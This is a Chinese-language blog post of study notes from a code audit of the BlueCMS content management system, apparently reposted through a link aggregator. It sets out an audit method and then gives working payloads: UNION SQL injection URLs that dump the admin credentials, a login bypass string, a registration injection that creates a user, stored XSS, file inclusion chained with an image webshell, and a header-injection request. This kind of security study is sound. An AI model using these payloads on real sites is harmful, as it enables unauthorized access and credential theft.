BlueCMS审计学习笔记
source link: https://www.tuicool.com/articles/3yYn22F
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
这篇只能算是学习笔记,因为bluecms是我第一次审计的CMS,所以参考了不少前辈们的经验。参考文章于文末给出。 算是一个记录了我的学习心得,学习的过程的文章。
一.实践总结:
1.可以按照功能点审计,比如评论处是否支持匿名,有没有获取ip处存在sql注入(X-FORWARD-FOR),头像处能否上传图片马; 2.文件包含漏洞除了可以爆关键文件外,也可以和其它漏洞结合(比如图片上传马); 3.对项目结构要有了解,include一般为配置文件所在。可以首先去配置文件中看有没有统一过滤(对get,post,request等),其次看能不能绕过,有没有遗漏; 4.但凡没有使用单引号的变量都可以绕过魔术引号的转译; 5.代码审计从有输入的地方入手。
二.思路总结
1.分析项目结构,分析配置文件(是否存在统一过滤) 2.根据统一过滤存在的绕过问题,遗漏的变量进行代码审计(例如:查找没有用单引号处理的变量) 3.剩余根据功能点进行审计:首先对一个项目的功能点进行总结。例如:注册,登录,评论,发表文章,头像上传,数据库备份,文件上传查看对应代码处是否存在漏洞 4.对个别文件进行通读(尤其注意有输入的地方)。如user.php 5.搜索危险函数
三.实践
分析项目结构:
/admin为后台管理员
/include包含全局的文件,有函数定义的文件,数据库配置,统一过滤配置文件
/install安装
分析配置文件:
思路1:关键字$_GET,$_POST等搜索,看有无过滤
思路2:看主页index包含了哪些配置文件
common.inc.php
对配置文件进行审计,在include文件夹下common.inc.php文件中发现
存在统一过滤。以上的统一过滤只有在变量被单引号括起来的时候有效。进行分析后发现遗漏了$_SERVER(伪造client-ip和x-forwarded-for)
*$_SERVER没有过滤可以全局搜搜getip类似的函数名,查看代码如何获取ip
1.可以重复安装
对关键文件Instll.lock进行分析(如果存在这个文件则不能重复安装,跳转到首页)
首先,对Install.lock全局搜索
发现install.lock文件的处理有逻辑错误
对应代码
代码分析
is_writeable()函数官方说明:如果文件 filename 存在并且可写则返回 TRUE。即install.lock文件并没创建成功
2.ad_js.php
按照配置文档的审计:统一过滤存在绕过问题
全局审计到存在SQL注入的地方,变量没有过滤(双引号,addslash)
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
跟踪$ad_id
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
getone函数
使用元数据表爆出表名
ad_js.php?ad_id=1+UNION+SELECT+1,2,3,4,5,6,GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()
爆出字段
ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e
获取用户名密码
ad_js.php?ad_id=1 +UNION +SELECT+1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin
3.ann.php
存在注入的两条语句
$current_act = $db->getfirst("SELECT cat_name FROM ".table('ann_cat')."WHERE cid=".$cid); $db->query("UPDATE ".table('ann')." SET click = click+1 WHERE ann_id =".$ann_id);
getfirst()函数
*和getone()函数功能一样,均为执行查询只是返回值不同为变量
cid和ann_id被赋值过程
被intval处理过了,不能注入
备注:学习intval特性可能导致安全漏洞 http://huaidan.org/archives/3047.html
同理无法注入的部分:
1.command.php里的两条sql
4.user.php
按照功能审计:支付功能
(1)act=pay时的文件包含漏洞
存在文件包含漏洞
漏洞利用BurpSuite抓包:
利用结合:头像上传,上传图片马然后执行
(2)@unlink(BLUE_ROOT.$_POST['face_pic3'])
5.article.php
6.user.php
按照功能审计:用户注册,登录,编辑个人资料
学习: https://www.freebuf.com/articles/web/203795.html?utm_source=tuicool&utm_medium=referral
(1)注册存在注入漏洞(SQL和XSS)
先黑盒测试注册抓包
然后再去审计工具找对应代码
没有对XSS的相关符号进行过滤。存在存储型XSS
注入后效果:
注册对应SQL语句
构建payload
%df',1,1),(100,0x6162717765,md5(123456),(select database()),1,1)#
其中(100,0×6162717765,md5(123456),(select database()),1,1)为创建的新用户,100为uid,十六进制为用户名
*补充知识:updatexml(),extractvalue()报错型SQL注入
https://blkstone.github.io/2017/11/09/updatexml-sqli/
(2)登录处存在注入漏洞(SQL和XSS)
黑盒+白盒审计能否无验证登录任意账户
首先黑盒测试抓包
白盒找变量处理对应代码
login函数
没有什么过滤。用万能密码登录测试
payload: %df’) or 1=1#
(3)编辑个人资料
白盒至个人资料处,检查是否存在XSS漏洞。查看对应代码处
通注册一样的,email注入xss(其他字段长度受限)
(4)新闻添加处
对htmlspeciachars发现,descript和content没有进行过滤
filter_data函数
可以进行绕过的。正则表达式表示过滤掉除了<之外一切<>之间模式匹配的的内容(<和下一个字符没有空格才能被过滤掉)
mb_substr()函数获取字符串的一部分,
$descript = !empty($_POST['descript']) ?mb_substr($_POST['descript'], 0, 90) :mb_substr(html2text($_POST['content']),0, 90); mb_substr($_POST['descript'], 0, 90)表示从0位置开始取90个长度。可以直接注入XSS
效果图如下
(5)用户头像处
https://www.zkaq.org/?t/159.html 图片马的制作及菜刀的使用
7.comment.php
按照功能审计:评论
对评论处发现支持匿名评论
BurpSuite抓包如图,到comment.php下 寻找对应act=send处的代码
分析其中:
(1)SQL插入处没有过滤
(2)对comment部分的过滤有:htmlspecialchars
(3)ip获取处是getip()函数
*htmlspecialchars是将特殊字符转为html实体,如& ” ‘ < >
*nl2br是在加html的换行符的
查找其中getip()函数
可以利用X-FORWARDED_FOR控制ip传参(用sqlmap)
然后我把请求头保存至bluecms_1.txt中(如下)
POST /comment.php?act=send HTTP/1.1
Host: 192.168.1.134
CLIENT-IP: 1','2' ),("",'1','0','1','0',(select concat(admin_name,":",pwd) from blue_admin),'1','1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.134/comment.php?id=1&type=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 119
Connection: close
Cookie: PHPSESSID=fd016adb291716840e559d1873ecc817
Upgrade-Insecure-Requests: 1
mood=1&comment=%CF%CC%D3%E3%D3%E3&id=1&type=1&submit=%CC%E1%BD%BB%C6%C0%C2%DB
#
成功注入图:
8.数据库备份处可以爆破地址
按照功能审计:数据库备份
直接黑盒测试功能审计,备份好数据库后,发现数据库名称直接是日期。尝试爆破地址
http://192.168.1.133/data/backup/20190629.sql
可以访问。爆出了管理员用户名密码
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK